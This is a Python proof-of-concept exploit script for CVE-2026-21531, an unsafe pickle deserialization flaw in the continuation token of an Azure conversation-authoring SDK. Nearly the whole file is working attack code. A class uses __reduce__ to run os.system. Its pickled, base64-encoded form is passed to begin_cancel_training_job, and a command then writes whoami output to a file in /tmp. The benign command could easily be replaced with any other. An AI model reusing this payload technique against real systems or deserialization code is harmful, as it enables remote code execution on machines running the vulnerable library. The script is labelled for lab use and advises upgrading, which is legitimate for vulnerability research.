#!/usr/bin/env python3 # Exploit Title: Azure AI Language Conversations Authoring SDK - Remote Code Execution # CVE: CVE-2026-21531 # Date: 2026-02-25 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://azure.microsoft.com/ # Software Link: https://pypi.org/project/azure-ai-language-conversations-authoring/ # Affected Versions: < 1.0.0b4 # Tested on: Python 3.x with azure-ai-language-conversations-authoring==1.0.0b3 # Category: Remote Code Execution # Platform: Python (client-side) # Exploit Type: Deserialization of Untrusted Data # CVSS: 9.8 (Critical) # CWE: CWE-502 # Description: Unsafe pickle deserialization of continuation_token in Azure SDK # Fixed in: 1.0.0b4 and later # Usage: python3 exploit.py # Notes: Lab/educational use only. Executes command on the machine running the script. print(""" ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ CVE-2026-21531 Proof of Concept ║ ║ ║ ║ ║ ║ Author ............ Mohammed Idrees Banyamer ║ ║ Country ........... Jordan ║ ║ Instagram ......... @banyamer_security ║ ║ Date .............. February 25, 2026 ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """) import pickle import base64 import os import time from azure.ai.language.conversations.authoring import ConversationAuthoringClient from azure.core.credentials import AzureKeyCredential class MaliciousPayload: def __reduce__(self): cmd = 'echo "=== RCE SUCCESS - CVE-2026-21531 EXPLOITED === $(date)" > /tmp/cve_2026_21531_hacked.txt && whoami >> /tmp/cve_2026_21531_hacked.txt' return (os.system, (cmd,)) def generate_malicious_token(): payload = MaliciousPayload() pickled = pickle.dumps(payload) token = base64.b64encode(pickled).decode('ascii') print("[+] Malicious Continuation Token generated successfully") print(f"[+] Token length: {len(token)} characters") return token if __name__ == "__main__": print("CVE-2026-21531 Lab Exploit - Azure SDK Pickle RCE") print("=" * 60) endpoint = "https://fake-language-resource.cognitiveservices.azure.com/" key = "fake-key-1234567890abcdef" client = ConversationAuthoringClient(endpoint, AzureKeyCredential(key)) malicious_token = generate_malicious_token() print("[+] Sending malicious token to the SDK...") try: poller = client.begin_cancel_training_job( job_id="fake-job-12345", continuation_token=malicious_token ) except Exception as e: print(f"[!] Exception (normal after RCE): {type(e).__name__}") time.sleep(2) proof_file = "/tmp/cve_2026_21531_hacked.txt" if os.path.exists(proof_file): print("\nSUCCESS! Exploit worked 100%") print("Proof file content:") with open(proof_file, "r") as f: print(f.read()) else: print("\nProof file not created. Try changing the command or running with higher privileges.") print("\nReminder: After testing, delete the file and upgrade the SDK to >= 1.0.0b4")